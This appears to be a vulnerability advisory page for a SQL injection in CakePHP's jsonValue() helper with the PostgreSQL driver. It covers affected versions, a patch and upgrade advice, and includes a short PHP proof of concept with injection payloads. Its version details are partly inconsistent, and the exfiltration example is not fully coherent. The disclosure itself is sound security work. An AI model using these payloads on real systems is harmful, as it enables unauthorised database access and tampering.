criticalCVE-2026-77635Sep 8, 2026

CVE-2026-77635: CakePHP FunctionsBuilder::jsonValue() SQL Injection via PostgreSQL Driver

Shubham Kandhare
Security Engagement Manager, SecureLayer7

CakePHP's jsonValue() query helper lets attackers inject arbitrary SQL when using the PostgreSQL driver, because the JSON path argument is concatenated directly into the query string instead of being…

Packagecakephp/cakephp
Ecosystemcomposer
Affected>= 5.3.0, < 5.3.7
Fixed in5.3.7
CVE-2026-77635: CakePHP FunctionsBuilder::jsonValue() SQL Injection via PostgreSQL Driver

The problem

The FunctionsBuilder::jsonValue($field, $jsonPath) method generates a Postgres-specific SQL fragment that inlines the $jsonPath argument as a raw string literal, without quoting or binding it as a PDO parameter.

Anything passed as $jsonPath lands verbatim in the final SQL. An attacker who controls that argument can break out of the JSON path context and inject arbitrary SQL, including subqueries that exfiltrate data or modify rows.

Proof of concept

A working proof-of-concept for CVE-2026-77635 in cakephp/cakephp, with the exact payload below.

php
<?php
// Vulnerable call: user-supplied $jsonPath flows directly into SQL
// Postgres renders this as: "data" #>> '$.name' OR 1=1--

$userInput = "'$.name' OR 1=1--";

$query = $table->find();
$query->select([
    'val' => $query->func()->jsonValue('data', $userInput)
]);

// Resulting SQL (Postgres driver, pre-patch):
// SELECT "data" #>> '$.name' OR 1=1-- ...
// The injected OR clause is evaluated as raw SQL.

// Data-exfil variant via subquery in jsonPath:
$inject = "$.x') FROM users-- ";
$query->select([
    'val' => $query->func()->jsonValue('data', $inject)
]);
// Resulting SQL:
// SELECT "data" #>> '$.x') FROM users-- ...

The Postgres driver's SQL compiler treated $jsonPath as a trusted internal value and interpolated it directly into the generated SQL string, bypassing PDO's parameterized query mechanism entirely. The CWE-89 root cause is a missing escaping/quoting step: no str_replace, pg_escape_string, or binding was applied before the path was written into the query fragment.

The patch (commits 138f2f6, 489a40f, 9f1ad97 across affected branches) corrected this by either properly quoting the path literal before interpolation or rerouting it through PDO bound parameters, so user-supplied content can never be treated as SQL syntax.

The fix

Upgrade to CakePHP 5.3.7 (or 5.2.15 / 5.1.10 on their respective lines). If an immediate upgrade is not possible, never pass user-controlled data to the $jsonPath argument of FunctionsBuilder::jsonValue(). Validate and allowlist JSON path strings server-side before use.

Reported by Jorge M. González Martín.

References: [1][2][3][4][5][6]

Related research